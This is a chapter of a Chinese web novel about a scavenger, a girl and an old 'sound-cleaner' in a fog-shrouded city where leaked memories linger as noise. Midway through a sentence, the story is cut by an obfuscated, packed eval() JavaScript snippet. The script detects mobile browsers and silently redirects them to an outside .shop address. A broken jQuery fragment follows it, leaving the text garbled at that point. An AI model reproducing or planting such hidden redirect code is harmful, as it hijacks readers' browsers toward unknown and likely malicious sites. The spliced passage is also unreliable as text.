"那就让他走。"
林栀抬起头。
老魏抬起眼，看着她。
"如果那是他，"他说，"那就是他留在沈默脑子里最后的东西。你已经替沈默把那团东西拆掉了，你让他舒服了，让他不再被那七个声音缠着了。陈渡最后的交代，你已经替他送到了。"
林栀的眼睛微微睁大。
"你的意思是——"
"我的意思是。"老魏说，"不管陈渡还在不在，你昨天都做了一件对的事。清音者从来不后悔。"
他站起来，走到窗边，撩开灰帘一角往外看。灰雾在窗外翻涌着，他背对着她们，声音传过来的时候有些闷，像隔了一层旧棉被。
"你住四楼是吧？"
"嗯。"
"好好住。"他说，"四楼的东边视野最好，是沈默专门挑的。他不肯跟我说为什么，但我知道他是看上了那扇窗户，那扇窗能看见中心城的方向。他在那里站了三年，等一个人回来。"
老魏放下帘子，转过身。
"现在住进去的是你，那就好好住。"
林栀站在客厅中央，嘴唇抿得很紧。她转头看了一眼沈默，他坐在沙发上，低着头，看不清表情。
她忽然想起昨晚自己蜷在床上的那个问题：如果她告诉了沈默，沈默会怎样？
现在她站在这里，老魏替她把话说了一半。
沈默听到了，他知道了那些碎片里可能有陈渡的声音。他没有问"他还在不在"，他坐在那里，低着头，一句话都没有说。
林栀走过去，在沈默面前蹲下来。
"沈默。"她轻声叫他。
沈默抬起头，他的眼睛很红，但没有哭，他只是说了一句："我知道。"
林栀蹲在他面前，看着他。灰光从窗帘缝隙里挤进来，在他们中间的地板上铺了一道窄长的光条。
她说："我不知道他还在不在，但有一件事我确定。"
"什么？"
"我昨天拆掉的那团东西里，有一句话是你一直在替他说的。那句话他让你帮他传到了，你是他信的、对的、说话算话的那个人。"
沈默看着她的眼睛，没有说话。
很久之后，他站起来，拍了拍裤子上不存在的灰，声音有些哑："回楼上吧。"
三个人都没再提陈渡的名字，但林栀上楼的时候，在楼梯转角回头看了一眼一楼走廊的尽头，老魏还站在门口，瘦削的身影被灰光拉成一道很长很细的影子，像一棵在风里站了很久的树。
她转回头，跟着沈默往上走。
到了四楼，沈默推开门，在玄关停了一下。他没有进去，转过身来看着林栀。
"你换身衣服，等下我带你出去一趟。"
"出去？去哪？"
"市场。"沈默说，"你什么都没带，什么都没有，总不能一直穿我的衣服。"
林栀低头看了一眼自己。
那件旧T恤肩膀松松垮垮地挂着，裤脚卷了两圈还拖地。她确实什么都没有，醒来的时候身上只有一身不知道从哪里来的薄外套和长裤。
"这附近有市场？"她问。
"沉城不大。"沈默已经转身往自己房间走了，"有些地方还在运转，你换好衣服就出来，我在门口等你。"
林栀回客卧换回昨天那身衣服，虽然被灰雾浸过一整天，但晾了一晚已经干了，只是袖口还有些潮。
她走出来的时候，沈默已经站在门口，手里拿了一只灰布包。
"走吧。"
两个人下了楼，推开一楼大门的时候，林栀抬头看了一眼外面的天。
和昨天一样灰，棉花絮一样的雾悬在半空，缓慢地翻涌着，像某种有生命的东西在呼吸。街道上的行人不多，每一个都低着头，驼着背，口罩边缘的蓝光在灰光里一闪一闪的，像一群半死不活的萤火虫。
"戴上。"沈默从口袋里掏出一个口罩递给她。
林栀接过来贴在脸上。薄膜贴合皮肤的瞬间，世界安静了。那些潜伏在空气里的细碎杂音、远处传来的模糊嗡鸣，像被人按下了静音键。她忽然理解了为什么昨天没有口罩的时候，她感觉那么"吵"。不是真的有人在大喊大叫，是这座城市的空气本身就在低语。
沈默走在她旁边，没有像昨天那样走在前面两步。他们并排走，他的肩偶尔碰到她的肩，又移开。
"沉城以前不叫沉城。"他边走边说，像在讲一件很久远的事，"以前叫什么已经没人知道了，灰雾下来之后，大家都说这座城市'沉下去了'——不是沉进地里，是沉进自己里面。人不说话了，街不响了，天不亮了，所以叫沉城。"
"灰雾怎么来的？"
"没人知道。有人说是一次实验事故，有人说是天灾，有人说是——"他停了一下，"有人说是报应。"
"报应？"
"沉城以前是研究记忆的。研究怎么把人的记忆提取出来存起来，怎么复制、修改、删除。"他说，"后来有一天，那些'存不住'的记忆开始往外漏，漏到空气里，散不掉，越积越厚。从那天起，所有人脑子里都开始住进别人的声音。"
林栀想了一下。"那口罩呢？"
"挡活人的杂音。"沈默指了指自己脸上的薄膜，"活人产生的那些情绪，愤怒、焦虑、恐惧，它们不重，飘在空气表层。口罩能过滤掉百分之八十。但死人留下的那些，太重了，沉到地面，凝成结晶，口罩挡不住。"
林栀想起了昨天他清理墙角那块暗灰色硬块的样子。"所以清道夫就是负责清理那些结晶的人？"
"嗯。"沈默说，"沉城最底层的活计。脏、苦、没人愿意干，但总要有人干。不清理，结晶会越长越大，越积越多，到最后整座城都会被它们吃掉。"
他们拐过一条街，眼前的景象和昨天那条死寂的主干道不太一样。这条路两边摆着一些零散的摊位，卖什么的都有。合成蛋白块、旧衣服、破损的家用零件、一些看不出来用途的金属器具。摊主们坐在矮凳上，大多
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17722415|208738||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
数人都戴着口罩，偶尔有人把口罩拉下来透气，露出灰黄的脸色和干裂的嘴唇。
"这是东街。"沈默说，"沉城唯一还活着的一条街。物资流通都靠这里。"
他停在了一个卖衣服的摊位前，摊主是个中年女人，头发稀疏，裹着一块灰头巾，看到沈默的时候眼睛亮了一下。
"沈默！好久没来了。"她的声音隔着口罩有些闷，但能听出熟络的意味，"老样子？还是今天——"
她的目光落在林栀身上，停了下来。她愣了一下，飞快地看了一眼沈默，没有再问。
"给她挑几件。"沈默说，"里外都要。"
女人麻利地翻出一摞衣服。布料都很旧了，但洗得干干净净，叠得整整齐齐。她挑了几件浅色的、看起来柔软的衣服放在摊面上，又翻出一双鞋。
"你先试试。"沈默偏过头对林栀说。
林栀拿起一件淡灰色的薄毛衣，布料很软，有些起球了，但没有破，她摸了摸，觉得安心。这些衣服旧，但被人仔细收着，洗干净了，等着人来穿。
"多少钱？"沈默问。
女人报了一个数。
沈默没还价，从灰布包里掏出几张旧纸币放在摊上。女人利落地把衣服叠好装进一个布袋里递过来，然后多看了林栀一眼，又看了一眼沈默，还是没多问。
沈默从女人手里接过布袋，说了一句"走了"。
离开摊位之后，林栀跟在沈默旁边，轻声问："她认识你？"
"这附近几条街的清道夫都是我。"沈默说，"她以前脑子里的杂音很重，我帮她清过几次。她偶尔会在我路过的时候往我工装里塞几个蛋，或者多包一件旧衣服给我。"
"你帮她清过？"林栀有些惊讶，"你还是清音者？"
沈默的侧脸在灰光里安静了一瞬，"不是，我说的是字面意思的清，清道夫。她常在那片区域附近摆摊，结晶长出来了我顺手挖掉，她脑袋里的杂音就会轻一些。清道夫不做清音者的事，但清掉结晶，周围空气干净一些，住在这里的人脑子也会舒服一点。"
"所以清道夫和清音者——"
"一个清地面，一个清脑子。"沈默说，"清道夫干的是最笨的活，清音者干的是最危险的活。"
他往前走了几步，又停在一个摊位前。这次卖的是日用品——毛巾、牙刷、肥皂，都装在透明的旧塑料袋里，有些积了灰但密封完好。沈默挑了几样，付了钱，放进布袋里。
他们穿过东街往回走的时候，林栀注意到路边墙角有一些暗灰色的痕迹，浅浅的，像被刮过的旧水渍。沈默的脚步在这些地方会不自觉地慢半拍，像是在确认它们的大小和形状。
"你每天都走这条路？"她问。
"是每周都走。"沈默说，"清道夫没有休息日，结晶天天都在长。你一天不清，它就积累一天。一周不清会长大很多，到时候很危险。"
林栀有些好奇："那老魏是怎么成为清音者的呀？是生来就是清音者吗？"